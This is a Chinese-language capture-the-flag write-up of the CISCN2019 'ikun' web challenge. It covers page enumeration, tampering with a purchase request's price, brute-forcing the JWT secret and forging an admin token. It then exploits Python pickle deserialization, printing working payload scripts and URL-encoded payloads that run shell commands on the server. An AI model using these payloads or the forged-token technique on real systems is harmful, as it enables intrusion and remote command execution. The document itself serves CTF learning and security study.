[CISCN2019 華北賽區 Day1 Web2]ikun-1

考點:JWT身份偽造、python pickle反序列化、邏輯漏洞

1、打開之後首頁介面直接看到了提示資訊,資訊如下:

2、那就隨便註冊一個帳號進行登錄,然後購買lv6,但是未發現lv6,那就查看下一頁,此時觀察下訪問的url地址://xxxxxxx.node4.buuoj.cn:81/shop?page=2,很明顯這裡是要我們修改page參數進行訪問,獲取到lv6後進行購買,那就用腳本獲取下lv6的位置,腳本和結果如下:

腳本程式碼:

import requests

url = '//6d8e46fc-520a-4d0d-a912-e9058186d353.node4.buuoj.cn:81/shop?page='
for i in range(0,2000):
    urls = url + str(i)
    rs = requests.get(urls)
    print("\r", end="")
    print('已檢測到' + str(i) + '頁', end='')
    if 'lv6.png' in rs.text:
        print('\nlv6在第'+str(i)+'頁')
        break

結果如下:

3、那就訪問第181頁併購買lv6,但是因為我們的金額不夠,所以這裡需要抓取購買請求的數據包並修改和折扣資訊,使我們的金額可以成功購買到lv6,結果如下:

4、發現返回的資訊中只有一個:/b1g_m4mber,那就嘗試訪問一下,顯示只允許admin賬戶進行訪問,結果如下:

5、抓取訪問的數據包,發現其中存在和身份認證有關的jwt,對jwt進行密匙爆破,成功獲得密匙:1Kun,這裡使用的爆破工具是://github.com/brendan-rius/c-jwt-cracker。使用方法:

1、sudo apt-get install libssl-dev(如果失敗,則執行sudo apt-get update)

2、sudo make

3、./jwtcrack JWT

最終獲得密匙如下:

6、破解密匙後,然後通過我們的密匙生成新的jwt,網站://jwt.io/或者brup的JSON Web Token(修改JWT之後,會自動修改抓取數據包中的JWT,這個還是比較方便的)插件,結果如下:

7、使用新生成的jwt替換掉原數據包中的jwt並發送數據包,成功進入到admin賬戶的介面並查看源程式碼資訊,發現了一個壓縮包,結果如下:

8、然後就對程式碼進行審計,但是因為對python不夠了解,所以在網上未發現是python pickle的序列化漏洞,漏洞存在admin.py文件中,程式碼資訊如下:

import tornado.web
from sshop.base import BaseHandler
import pickle
import urllib


class AdminHandler(BaseHandler):
    @tornado.web.authenticated
    def get(self, *args, **kwargs):
        if self.current_user == "admin":
            return self.render('form.html', res='This is Black Technology!', member=0)
        else:
            return self.render('no_ass.html')

    @tornado.web.authenticated
    def post(self, *args, **kwargs):
        try:
            become = self.get_argument('become')
            p = pickle.loads(urllib.unquote(become))
            return self.render('form.html', res=p, member=1)
        except:
            return self.render('form.html', res='This is Black Technology!', member=0)

然後在網上查找了下利用的方式,需要通過腳本生成payload:ccommands%0Agetoutput%0Ap0%0A%28S%27ls%20/%27%0Ap1%0Atp2%0ARp3%0A.,腳本資訊如下(不要使用python3):

import pickle
import urllib
import commands

class payload(object):
    def __reduce__(self):
        return (commands.getoutput,('ls /',))

a = payload()
print urllib.quote(pickle.dumps(a))

9、獲取到payload之後就在前端找一下become參數,發現參數被隱藏起來了,刪除hidden屬性,輸入payload,點擊一鍵成為大會員抓包(不要忘了修改JWT),獲得flag.txt,結果如下:

10、修改腳本中的命令,讀取flag.txt文件,修改後的腳本為:

import pickle
import urllib
import commands

class payload(object):
    def __reduce__(self):
        return (commands.getoutput,('cat /flag.txt',))

a = payload()
print urllib.quote(pickle.dumps(a))

payload:ccommands%0Agetoutput%0Ap0%0A%28S%27cat%20/flag.txt%27%0Ap1%0Atp2%0ARp3%0A.,重複步驟9,成功獲得flag:flag{8c613da6-9a6e-4eac-ac4e-8076e3af0f7c},結果如下: